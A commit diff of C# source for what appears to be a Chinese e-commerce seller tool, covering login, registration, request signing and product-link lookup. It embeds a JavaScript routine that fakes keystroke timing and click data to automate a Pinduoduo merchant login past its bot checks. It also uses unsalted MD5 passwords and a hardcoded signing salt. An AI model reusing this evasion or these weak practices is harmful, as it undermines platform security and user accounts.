StringBuilder sb = new StringBuilder();
sb.Append(UserLogin.GetSignaturex(shopId, shopName));
//sb.Append("&act=get_id");
sb.Append("&site_id=2");
sb.Append("&product_id=" + productId);
string html = GetHtml.PostUtf8(url, sb);
if (string.IsNullOrEmpty(html) || html == "none")
return null;
UpShopIdBase us = new UpShopIdBase();
us.ProductId = productId;
us.SiteId = 2;
us.ProductIdFrom = BaseRegex.GetLongJson(ref html, "product_id_from");
us.SiteIdFrom = BaseRegex.GetIntJson(ref html, "site_id_from");
AddTemp(us);
return us;
}
}
public class UpShopIdBase
{
public int SiteId = 0;
public long ProductId = 0;
public int SiteIdFrom = 0;
public long ProductIdFrom = 0;
public string Url
{
get
{
switch (SiteIdFrom)
{
case 1:
return "https://item.taobao.com/item.htm?id=" + ProductIdFrom;
case 2:
return BaseClass.NewUrl+"/goods.html?goods_id=" + ProductIdFrom;
case 3:
return "https://detail.1688.com/offer/" + ProductIdFrom + ".html";
case 4:
return "https://item.m.jd.com/product/" + ProductIdFrom + ".html";
case 6:
return "https://weidian.com/item.html?itemID=" + ProductIdFrom + ".html";
}
return "";
}
set { }
}
/// <summary>
/// 上家编码带 tb / pd
/// </summary>
public string UpCode
{
get
{
switch (SiteIdFrom)
{
case 1:
return "tb-" + ProductIdFrom;
case 2:
return "pd-" + ProductIdFrom;
case 3:
return "al-" + ProductIdFrom;
}
return "";
}
}
public bool GetOk = false;
public string Message = "";
}
}
+850
View File
@@ -0,0 +1,850 @@
using System;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using AllBase;
using NaiBa.Util.Extension;
namespace Work
{
public class UserLogin
{
public string Mobile;
public string Password;
public static bool Logining = false, NoRegedit = false, NoFindPass = false, NoBuy = false;
/// <summary>
/// 登录
/// </summary>
/// <param name="message"></param>
/// <returns></returns>
public bool Get(ref string message, out int lockUserName, out int weakPassword, out string messageInfo)
{
bool IsLoginDef = false;
Logining = true;
string mobile = Mobile;
string password = Password;
string passwordMd5;
if (password == "******")
passwordMd5 = BaseClass.PassWord;
else
passwordMd5 = Md5Base.GetMd5(password).ToLower();
BaseClass.PassWord = passwordMd5;
BaseClass.PassWordBak = BaseClass.PassWord;
BaseClass.UserName = Mobile;
Random r = new Random();
int r2 = r.Next(100000000, 899999999); //生成随机码
string url = BaseClass.BuildObjString("user/user_login");
for (int j = 0; j < 100 && string.IsNullOrEmpty(BaseClass.MacInfo); j++)
{
Thread.Sleep(10);
}
Agian:
string data = "mobile=" + mobile + "&r2=" + r2 + "&password=" + passwordMd5 + "&" + GetSignature() + "&mac=" + BaseClass.MacInfo + "&version=" + BaseClass.VersionCount;
data += "&from_tool=" + GetHtml.UrlEncodeUtf8(BaseClass.AgentName) + "&client_ip=" + GetHtml.UrlEncodeUtf8(BaseClass.IPAddress) + "+&client_addr=" + GetHtml.UrlEncodeUtf8(BaseClass.IPAddressName);
string html = GetHtml.PostUtf8(url, data);
lockUserName = -1;
weakPassword = -1;
messageInfo = "";
if (string.IsNullOrEmpty(html) || html.Contains("Error No File"))
{
if (!IsLoginDef)
{
IsLoginDef = true;
url = BaseClass.BuildObjString("user/user_login", true);
goto Agian;
}
message = "链接服务器失败\r\n" +
"如有问题请联系官方QQ:" + BaseClass.ServiceQQ;
return false;
}
if (!html.Contains("\"code\":200"))
{
var errMsg = BaseRegex.GetStringJson(ref html, "msg");
if (string.IsNullOrEmpty(errMsg))
errMsg = html;
message = errMsg;
return false;
}
string code = BaseRegex.GetStringJson(ref html, "c");
string codex = Encryption(r2);
if (code != codex)
{
message = "登录失败\r\n链接异常请重试";
return false;
}
//if (IsLoginDef)
//{
// BaseClass.LoginApiUrl = "http://new.taojinhu.com/";//淘金虎
// BaseClass.ImageApiUrl = BaseClass.LoginApiUrl + "index.php?obj=api/image";
//}
BaseClass.UserId = BaseRegex.GetStringJson(ref html, "id").ParseToInt();
BaseClass.UserKey = BaseRegex.GetStringJson(ref html, "user_key").ParseToInt();
BaseClass.NickName = BaseRegex.GetStringJson(ref html, "nick_name");
BaseClass.UserName = BaseRegex.GetStringJson(ref html, "user_name");
BaseClass.Mobile = BaseRegex.GetStringJson(ref html, "mobile");
BaseClass.UserVersion = BaseRegex.GetStringJson(ref html, "version").ParseToInt();
BaseClass.UserVersionString = BaseRegex.GetStringJson(ref html, "version_s");
BaseClass.CompanyId = BaseRegex.GetStringJson(ref html, "company_Id").ParseToInt();
BaseClass.GroupId = BaseRegex.GetStringJson(ref html, "group_id").ParseToInt();
//BaseClass.Balance = BaseRegex.GetStringJson(ref html, "balance").ParseToInt();
//BaseClass.DarenYaoyue = BaseRegex.GetStringJson(ref html, "daren_group") == "1";
//BaseClass.DyProductCollect = BaseRegex.GetStringJson(ref html, "show_collect") == "1";
//if ("18655555336,18937517772,17777777777,18135637272,15324492822,18134451116".Contains(mobile))
//{
// BaseClass.DyProductCollect = true;
//}
//BaseClass.IsCloudBuyOrder = BaseRegex.GetStringJson(ref html, "cloud_buy_order_status") == "1";
if (BaseClass.GroupId != 3 && BaseClass.GroupId != 4 && BaseClass.GroupId != 9 && BaseClass.GroupId != 10 && BaseClass.GroupId != 11)
{
BaseClass.UserId = 0;
BaseClass.UserKey = 0;
return false;
}
BaseClass.EndDate = BaseRegex.GetStringJson(ref html, "end");
BaseClass.CompanyName = BaseRegex.GetStringJson(ref html, "company_name");
if (BaseClass.UserVersion == 3)
{
BaseClass.QqGroupNum = BaseRegex.GetStringJson(ref html, "qq_group_num");
BaseClass.QqGroupUrl = BaseRegex.GetStringJson(ref html, "qq_group_url");
BaseClass.WechatUrl = BaseRegex.GetStringJson(ref html, "wechat_url");
}
if (BaseClass.UserVersion == 3 || BaseClass.UserVersion == 4 || BaseClass.UserVersion == 5 || BaseClass.UserVersion == 10 || BaseClass.UserVersion == 9)
{
BaseClass.IsPinduoduo = BaseRegex.GetStringJson(ref html, "pinduoduo") == "1";
BaseClass.AlimamaDomain = BaseRegex.GetStringJson(ref html, "alimama_domain");
BaseClass.AlimamaPid = BaseRegex.GetStringJson(ref html, "alimama_pid");
}
if (!BaseClass.UserApi && BaseClass.UserVersion != 110)
BaseClass.UserVersion = 100;
if (BaseClass.UserVersion == 110)
BaseClass.ClientId = BaseSpecialConfig.ToolClientId; // 特别版本,使用指定ClientId
string islock = BaseRegex.GetStringJson(ref html, "is_lock");
int.TryParse(islock, out lockUserName);
string isweak = BaseRegex.GetStringJson(ref html, "is_weak_password");
int.TryParse(isweak, out weakPassword);
messageInfo = BaseRegex.GetStringJson(ref html, "message");
// 代理权限列表
string agent_auth = BaseRegex.GetStringJson(ref html, "agent_auth");
if (!string.IsNullOrEmpty(agent_auth) && agent_auth != "0")
{
var strArr = agent_auth.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
foreach (var item in strArr)
{
var itemArr = item.Split(',');
if (itemArr.Length == 2)
{
BaseClass.AgentAuth[itemArr[0]] = itemArr[1];
}
}
}
Initialization i = new Initialization();
i.SaveConfig();
new Thread(i.GetBaiduCookies).Start();
//new Thread(IdFessionTaobao.SaveHtmlToSereve).Start(); // 开启一个线程用于写入商品详情缓存数据
return true;
}
/// <summary>
/// 注册账户
/// </summary>
/// <param name="mobile">手机</param>
/// <param name="password">密码</param>
/// <param name="code">验证码</param>
/// <param name="nickname">昵称</param>
/// <param name="email">邮箱</param>
/// <param name="message"></param>
/// <returns></returns>
public bool Regedit(string mobile, string password, string code, string nickname, string email, out string message)
{
string passwordMd5 = Md5Base.GetMd5(password).ToLower();
string url = BaseClass.BuildObjString("regedit");
string data = "mobile=" + mobile + "&password=" + passwordMd5 + "&sms_code=" + code + "&nickname=" + GetHtml.UrlEncodeUtf8(nickname) +
"&email=" + email + "&" + GetSignature();
string html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html) || html.Contains("Error No File"))
{
message = "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" +
"1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" +
"2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" +
"3、请不要使用代理上网,更换为路由或者直接链接\r\n" +
"4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" +
"5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助";
return false;
}
if (!html.Contains("\"code\":200"))
{
var errMsg = BaseRegex.GetStringJson(ref html, "msg");
if (string.IsNullOrEmpty(errMsg))
errMsg = html;
message = errMsg;
if (message.Contains("手机号码已被注册"))
{
message = message.Replace("手机号码已被注册", "手机号码已被注册,请直接登录或找回密码");
}
if (message.Contains("短信验证码错误"))
{
message = "短信验证码错误,请重新输入\r\n如果接收不到,请联系客服QQ:" + BaseClass.ServiceQQ + "";
}
return false;
}
message = "";
return true;
}
/// <summary>
/// 重置密码
/// </summary>
/// <param name="mobile"></param>
/// <param name="code"></param>
/// <param name="password"></param>
/// <param name="message"></param>
/// <returns></returns>
public bool ResetPassword(string mobile, string code, string password, out string message)
{
string passwordMd5 = Md5Base.GetMd5(password).ToLower();
string url = BaseClass.BuildObjString("reset_password");
string data = "mobile=" + mobile + "&password=" + passwordMd5 + "&sms_code=" + code + "&" + GetSignature();
string html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html) || html.Contains("Error No File"))
{
message = "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" +
"1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" +
"2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" +
"3、请不要使用代理上网,更换为路由或者直接链接\r\n" +
"4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" +
"5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助";
return false;
}
if (!html.Contains("\"code\":200"))
{
var errMsg = BaseRegex.GetStringJson(ref html, "msg");
if (string.IsNullOrEmpty(errMsg))
errMsg = html;
message = errMsg;
return false;
}
message = "";
return true;
}
/// <summary>
/// 获取签名字符串
/// </summary>
/// <returns></returns>
public static string GetSignature()
{
int time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent;
string s = Encryption(time);
//string s = GetMd5(time1);
return "time=" + time + "&code=" + s + "&NbCodeVersion=1";
}
public static bool IsPinduoduo = false;
/// <summary>
/// 获取签名字符串,新版
/// </summary>
/// <returns></returns>
public static string GetSignaturex()
{
return GetSignaturex(BaseClass.ShopId, BaseClass.ShopName);
}
public static string GetSignaturex(string shopId, string shopName)
{
if (string.IsNullOrEmpty(shopId))
shopId = BaseClass.ShopId;
if (string.IsNullOrEmpty(shopName))
shopName = BaseClass.ShopName;
int time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent;
string time1 = Encryption(time);
return "time=" + time + "&code=" + time1 + "&NbCodeVersion=1" + "&version=" + BaseClass.VersionCount +
"&company_id=" + BaseClass.CompanyId + "&company=" + GetHtml.UrlEncodeUtf8(BaseClass.CompanyName) +
"&user_name=" + BaseClass.UserName + "&user_key=" + BaseClass.UserKey + "&mobile=" + BaseClass.Mobile +
"&sid=" + shopId + "&shop=" + GetHtml.UrlEncodeUtf8(shopName);
}
/// <summary>
/// 签名算法
/// </summary>
/// <param name="s">随机数</param>
/// <returns>加密签名结果</returns>
public static string Encryptionxx(int s)
{
string ss = s.ToString();
if (ss.Length > 8)
{
ss = ss.Substring(ss.Length - 8);
s = int.Parse(ss);
if (s < 100000000)
s += 100000000;
}
byte[] kb = Encoding.ASCII.GetBytes(s.ToString());
if (BaseClass.NewSignatureAuth)
{
double y = s * 1.6081825125;
y += 4582095.48659959;
y += kb[3] * 934579.486548;
y += kb[7] + 4889894.30184;
byte[] k = Encoding.ASCII.GetBytes(y.ToString());
y -= 478735.48548;
y -= k[6] * 426720.454545;
y -= k[2] * 5667826.96889;
byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
y += 56979810.2455;
y -= k1[1] * 58742.0564845;
y -= k1[5] * 1528.487866;
string c = ((int)y).ToString();
return GetMd5(c); //返回签名的MD5结果
}
else
{
double y = s * 1.8061825125;
y += 4852095.48659959;
y += kb[3] * 943579.486548;
y += kb[7] + 4889894.30184;
byte[] k = Encoding.ASCII.GetBytes(y.ToString());
y -= 458735.48548;
y -= k[6] * 458720.454545;
y -= k[2] * 5447826.96889;
byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
y += 34779810.2455;
y -= k1[1] * 57942.0564845;
y -= k1[5] * 1548.487866;
string c = ((int)y).ToString();
return GetMd5(c); //返回签名的MD5结果
}
//double y = s * 1.8061825125;
//y += 4852095.48659959;
//y += kb[3] * 943579.486548;
//y += kb[7] + 4889894.30184;
//byte[] k = Encoding.ASCII.GetBytes(y.ToString());
//y -= 458735.48548;
//y -= k[6] * 458720.454545;
//y -= k[2] * 5447826.96889;
//byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
//y += 34779810.2455;
//y -= k1[1] * 57942.0564845;
//y -= k1[5] * 1548.487866;
//string c = ((int)y).ToString();
//return GetMd5(c); //返回签名的MD5结果
}
/// <summary>
/// 签名算法
/// </summary>
/// <param name="s">随机数</param>
/// <returns>加密签名结果</returns>
//public static string Encryption(int s)
//{
// string ss = s.ToString();
// if (ss.Length > 8)
// {
// ss = ss.Substring(ss.Length - 8);
// s = int.Parse(ss);
// if (s < 100000000)
// s += 100000000;
// }
// byte[] kb = Encoding.ASCII.GetBytes(s.ToString());
// if (BaseClass.NewSignatureAuth)
// {
// double y = s * 1.6081825125;
// y += 4582095.48659959;
// y += kb[3] * 934579.486548;
// y += kb[7] + 4889894.30184;
// byte[] k = Encoding.ASCII.GetBytes(y.ToString());
// y -= 478735.48548;
// y -= k[6] * 426720.454545;
// y -= k[2] * 5667826.96889;
// byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
// y += 56979810.2455;
// y -= k1[1] * 58742.0564845;
// y -= k1[5] * 1528.487866;
// string c = ((int)y).ToString();
// return GetMd5(c); //返回签名的MD5结果
// }
// else
// {
// double y = s * 1.8061825125;
// y += 4852095.48659959;
// y += kb[3] * 943579.486548;
// y += kb[7] + 4889894.30184;
// byte[] k = Encoding.ASCII.GetBytes(y.ToString());
// y -= 458735.48548;
// y -= k[6] * 458720.454545;
// y -= k[2] * 5447826.96889;
// byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
// y += 34779810.2455;
// y -= k1[1] * 57942.0564845;
// y -= k1[5] * 1548.487866;
// string c = ((int)y).ToString();
// return GetMd5(c); //返回签名的MD5结果
// }
// //string ss = s.ToString();
// //if (ss.Length > 8)
// //{
// // ss = ss.Substring(ss.Length - 8);
// // s = int.Parse(ss);
// // if (s < 100000000)
// // s += 100000000;
// //}
// //byte[] kb = Encoding.ASCII.GetBytes(s.ToString());
// //double y = s * 1.8061825125;
// //y += 4852095.48659959;
// //y += kb[3] * 943579.486548;
// //y += kb[7] + 4889894.30184;
// //byte[] k = Encoding.ASCII.GetBytes(y.ToString());
// //y -= 458735.48548;
// //y -= k[6] * 458720.454545;
// //y -= k[2] * 5447826.96889;
// //byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
// //y += 34779810.2455;
// //y -= k1[1] * 57942.0564845;
// //y -= k1[5] * 1548.487866;
// //string c = ((int)y).ToString();
// //return GetMd5(c); //返回签名的MD5结果
//}
/// <summary>
/// 加密算法
/// </summary>
/// <param name="s">加密字符串</param>
/// <returns></returns>
public static string Encryption(int s)
{
string sign = $"{s}sdhewu*/fhAAue48485ew5+5%@3485esGFFHFD";
return GetMd5(sign);
//if (BaseClass.NewSignatureAuth)
//{
// long s1 = 0;
// int j = 6712;
// while (s1 < 10000000)
// {
// string st = s1.ToString();
// if (s1 == 0)
// st = s;
// for (int i = 0; i < st.Length; i++)
// {
// j = j * (55 + i * 6) + i;
// if (j > 100000)
// j = j % 3267;
// int ai = (int)char.Parse(st.Substring(i, 1));
// if (ai < 128)
// {
// s1 += ai * (i + 3) * j;
// }
// }
// }
// return s1.ToString(); //返回签名的MD5结果
//}
//else
//{
// long s1 = 0;
// int j = 7684;
// while (s1 < 10000000)
// {
// string st = s1.ToString();
// if (s1 == 0)
// st = s;
// for (int i = 0; i < st.Length; i++)
// {
// j = j * (55 + i * 6) + i;
// if (j > 100000)
// j = j % 2367;
// int ai = (int)char.Parse(st.Substring(i, 1));
// if (ai < 128)
// {
// s1 += ai * (i + 3) * j;
// }
// }
// }
// return s1.ToString(); //返回签名的MD5结果
//}
//long s1 = 0;
//int j = 7684;
//while (s1 < 10000000)
//{
// string st = s1.ToString();
// if (s1 == 0)
// st = s;
// for (int i = 0; i < st.Length; i++)
// {
// j = j * (55 + i * 6) + i;
// if (j > 100000)
// j = j % 2367;
// int ai = (int)char.Parse(st.Substring(i, 1));
// if (ai < 128)
// {
// s1 += ai * (i + 3) * j;
// }
// }
//}
//return s1.ToString(); //返回签名的MD5结果
}
public string Get(string key)
{
if (string.IsNullOrEmpty(key))
return "";
byte[] inArray = Convert.FromBase64String(key.Replace("/", "="));
string html = Encoding.UTF8.GetString(inArray);
html = html.Replace("C", "1");
html = html.Replace("Q", "6");
html = html.Replace("I", "2");
html = html.Replace("L", "0");
html = html.Replace("Z", "9");
html = html.Replace("O", "5");
html = html.Replace("P", "8");
html = html.Replace("D", "7");
html = html.Replace("R", "b");
html = html.Replace("S", "c");
html = html.Replace("J", "a");
return html;
}
/// <summary>
/// MD5加密
/// </summary>
/// <param name="instring"></param>
/// <returns></returns>
public static string GetMd5(string instring)
{
byte[] result = Encoding.Default.GetBytes(instring.Trim());
MD5 md5 = new MD5CryptoServiceProvider();
byte[] output = md5.ComputeHash(result);
return BitConverter.ToString(output).Replace("-", "");
}
/// <summary>
/// 获取验证码
/// </summary>
/// <param name="mobile"></param>
/// <param name="success"></param>
/// <returns></returns>
public static string SendCode(string mobile, out bool success)
{
string url = BaseClass.BuildObjString("sms_gate");
string data = "mobile=" + mobile + "&" + GetSignature();
string html = GetHtml.PostUtf8(url, data);
success = false;
if (string.IsNullOrEmpty(html) || html.Contains("Error No File"))
{
return "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" +
"1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" +
"2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" +
"3、请不要使用代理上网,更换为路由或者直接链接\r\n" +
"4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" +
"5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助";
}
if (!html.Contains("\"code\":200"))
{
var errMsg = BaseRegex.GetStringJson(ref html, "msg");
if (string.IsNullOrEmpty(errMsg))
errMsg = html;
return errMsg;
}
success = true;
return "";
}
public static string JsCode = @"var auth = {
getPublicKey: function() {
var _this = this;
Helper.get(""earth/api/queryPasswordEncrypt"", {}).then(function(d) {
if (d.success) {
_this.passwordEncrypt = d.result.passwordEncrypt;
_this.publicKey = d.result.publicKey;
_this.authCode();
}
});
},
authCode: function() {
var _this = this;
Helper.post(""earth/api/merchant/getCaptchaCode"", {
sceneId: 15
}).then(function(t) {
if (t.success) {
$img = document.querySelector('#tuxing').nextElementSibling;
$img.setAttribute('src', t.result.picture);
_this.captChaCodeUrl = t.result.picture;
_this.token = t.result.sign;
_this.__callback && _this.__callback.apply(_this);
}
})
},
setStartTime: function(e) {
var t = (new Date).getTime();
if (e == 'usernameId') {
this.mobileInputEditStartTime = t;
} else if (e == 'passwordId') {
this.passwordInputEditStartTime = t;
} else if (e == 'authCode') {
this.captureInputEditStartTime = t;
}
},
setEndTime: function(e) {
var t = (new Date).getTime();
if (e == 'usernameId') {
this.mobileInputEditFinishTime = t;
} else if (e == 'passwordId') {
this.passwordInputEditFinishTime = t;
} else if (e == 'authCode') {
this.captureInputEditFinishTime = t;
}
},
setKeyboardEvent: function(e, t, n) {
for (var r = """", i = 0, a = 0, o = 0, s = """", l = 0; l < t.length; l++)
""9"" == t[l].keyCode ? i = 1 : ""17"" == t[l].keyCode || ""91"" == t[l].keyCode ? a = 1 : ""86"" == t[l].keyCode && (o = 1),
r += 0 == l ? t[l].time - e : t[l].time - t[l - 1].time,
l < t.length - 1 && (r += ""-"");
s += i + ""|"" + a + ""|"" + o + ""|"" + r;
this[n] = s;
},
getKeyCode: function(e, t) {
var n = this,
r = this.mobileInputKeyboardEventList,
i = this.passwordInputKeyboardEventList,
a = this.captureInputKeyboardEventList,
o = (new Date).getTime(),
s = {
time: o,
keyCode: t.keyCode
};
if (e == 'usernameId') {
r.push(s);
r = r.filter(function(e, t) {
return null != e.keyCode;
});
this.mobileInputKeyboardEventList = r;
this.setKeyboardEvent(this.mobileInputEditStartTime, r, 'mobileInputKeyboardEvent');
}
if (e == 'passwordId') {
i.push(s);
i = i.filter(function(e, t) {
return null != e.keyCode
});
this.passwordInputKeyboardEventList = i;
this.setKeyboardEvent(this.passwordInputEditStartTime, i, 'passwordInputKeyboardEvent');
}
if (e == 'authCode') {
a.push(s);
a = a.filter(function(e, t) {
return null != e.keyCode
});
this.captureInputKeyboardEventList = a;
this.setKeyboardEvent(this.captureInputEditStartTime, i, 'captureInputKeyboardEvent');
}
},
UIEvents: function() {
var _this = this;
// 模拟键盘输入
var username = new Promise(function(resolve, reject) {
var keys = _this.options.username.split('');
var quque = function() {
if (!keys.length) {
resolve();
return;
}
var key = keys[0].charCodeAt(0),
event = {keyCode: key};
setTimeout(function() {
_this.setEndTime('usernameId');
_this.getKeyCode('usernameId', event);
keys.shift();
quque();
}, 10);
};
_this.setStartTime('usernameId');
quque();
});
var password = new Promise(function(resolve, reject) {
var keys = _this.options.password.split('');
var quque = function() {
if (!keys.length) {
resolve();
return;
}
var key = keys[0].charCodeAt(0),
event = {keyCode: key};
setTimeout(function() {
_this.setEndTime('passwordId');
_this.getKeyCode('passwordId', event);
keys.shift();
quque();
}, 10);
};
_this.setStartTime('passwordId');
quque();
});
var authCode = new Promise(function(resolve, reject) {
var keys = _this.options.verifyCode.split('');
var quque = function() {
if (!keys.length) {
resolve();
return;
}
var key = keys[0].charCodeAt(0),
event = {keyCode: key};
setTimeout(function() {
_this.setEndTime('authCode');
_this.getKeyCode('authCode', event);
keys.shift();
quque();
}, 10);
};
_this.setStartTime('authCode');
quque();
});
Promise.all([username, password, authCode]).then(function(values) {
_this.login();
});
},
login: function() {
var _this = this,
params = {}
$btn = document.querySelector('#loginBtnId')
offset = $btn.getBoundingClientRect(),
btnPoint = parseInt(offset.x + (offset.width / 2)) + ',' + parseInt(offset.y + (offset.height / 2));
params = {
username: this.options.username,
password: this.options.password,
verifyCode: this.options.verifyCode,
verificationCode: """",
sign: this.token,
touchevent: {
mobileInputEditStartTime: this.mobileInputEditStartTime,
mobileInputEditFinishTime: this.mobileInputEditFinishTime,
mobileInputKeyboardEvent: this.mobileInputKeyboardEvent,
passwordInputEditStartTime: this.passwordInputEditStartTime,
passwordInputEditFinishTime: this.passwordInputEditFinishTime,
passwordInputKeyboardEvent: this.passwordInputKeyboardEvent,
captureInputEditStartTime: this.captureInputEditStartTime,
captureInputEditFinishTime: this.captureInputEditFinishTime,
captureInputKeyboardEvent: this.captureInputKeyboardEvent,
loginButtonTouchPoint: btnPoint,
loginButtonClickTime: (new Date).getTime()
},
fingerprint: {
innerHeight: window.innerHeight,
innerWidth: window.innerWidth,
devicePixelRatio: window.devicePixelRatio,
availHeight: screen.availHeight,
availWidth: screen.availWidth,
height: screen.height,
width: screen.width,
colorDepth: screen.colorDepth,
locationHref: location.href,
navigator: {
appCodeName: navigator.appCodeName,
appName: navigator.appName,
hardwareConcurrency: navigator.hardwareConcurrency,
language: navigator.language,
cookieEnabled: navigator.cookieEnabled,
platform: navigator.platform,
doNotTrack: navigator.doNotTrack,
ua: navigator.ua,
vendor: navigator.vendor,
product: navigator.product,
productSub: navigator.productSub
},
referer: document.referrer,
timezoneOffset: (new Date).getTimezoneOffset()
}
}
if (this.passwordEncrypt) {
var p = new JSEncrypt;
p.setPublicKey(this.publicKey);
params.password = p.encrypt(params.password);
params.passwordEncrypt = true;
}
Helper.post(""nomallid/auth"", params).then(function(e) {
if (e.error_msg) {
console.log(e);
//alert('login error');
return;
}
localStorage.setItem(""PASSID"", e.pass_id);
Helper.saveToSessionStorage(""old_easy_psd"", { old_easy_psd: params.password});
_this.handerAfterAjax(e.userInfo, params.username);
}, function() {
//alert('login Error');
});
},
handerAfterAjax: function(e, n) {
Helper.saveToLocalStorage(""old_username"", {
username: n
});
window.mall_id = e.mallId;
Pdd.saveToLocalStorage(""username"", n);
Helper.queryUserinfo(function(e) {
window.g_mall_id = e.mallId;
e.error_msg || Helper.saveToLocalStorage(""userinfo"", e);
window.location.href = location.origin + location.pathname + '#/index?pre=log_page';
});
},
send(options) {
this.options = Object.assign({}, options);
this.UIEvents();
},
/**/
init: function(callback) {
this.passwordEncrypt = null;
this.publicKey = null;
this.captChaCodeUrl = null;
this.token = null;
this.mobileInputEditStartTime = """";
this.mobileInputEditFinishTime = """";
this.mobileInputKeyboardEvent = """";
this.mobileInputKeyboardEventList = [];
this.passwordInputEditStartTime = """";
this.passwordInputEditFinishTime = """";
this.passwordInputKeyboardEvent = """";
this.passwordInputKeyboardEventList = [];
this.captureInputEditStartTime = """";
this.captureInputEditFinishTime = """";
this.captureInputKeyboardEvent = """";
this.captureInputKeyboardEventList = [];
this.loginButtonTouchPoint = """";
this.loginButtonClickTime = """";
this.__callback = callback || null;
this.getPublicKey();
}
};auth.init();";
}
}
+248
View File
@@ -0,0 +1,248 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props" Condition="Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props')" />
<Import Project="..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props" Condition="Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props')" />
<Import Project="..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props" Condition="Exists('..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props')" />
<Import Project="..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props" Condition="Exists('..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{38E74D4C-2D8D-47D2-8A23-417C3C57ADE5}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Work</RootNamespace>
<AssemblyName>Work</AssemblyName>
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\bin\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\bin\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<UseVSHostingProcess>false</UseVSHostingProcess>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
<DebugSymbols>true</DebugSymbols>
<OutputPath>bin\x64\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<DebugType>full</DebugType>
<PlatformTarget>x64</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
<OutputPath>bin\x64\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<Optimize>true</Optimize>
<DebugType>pdbonly</DebugType>
<PlatformTarget>x64</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
<DebugSymbols>true</DebugSymbols>
<OutputPath>..\bin\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<DebugType>full</DebugType>
<PlatformTarget>x86</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
<OutputPath>..\bin\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<Optimize>true</Optimize>
<DebugType>pdbonly</DebugType>
<PlatformTarget>x86</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<ItemGroup>
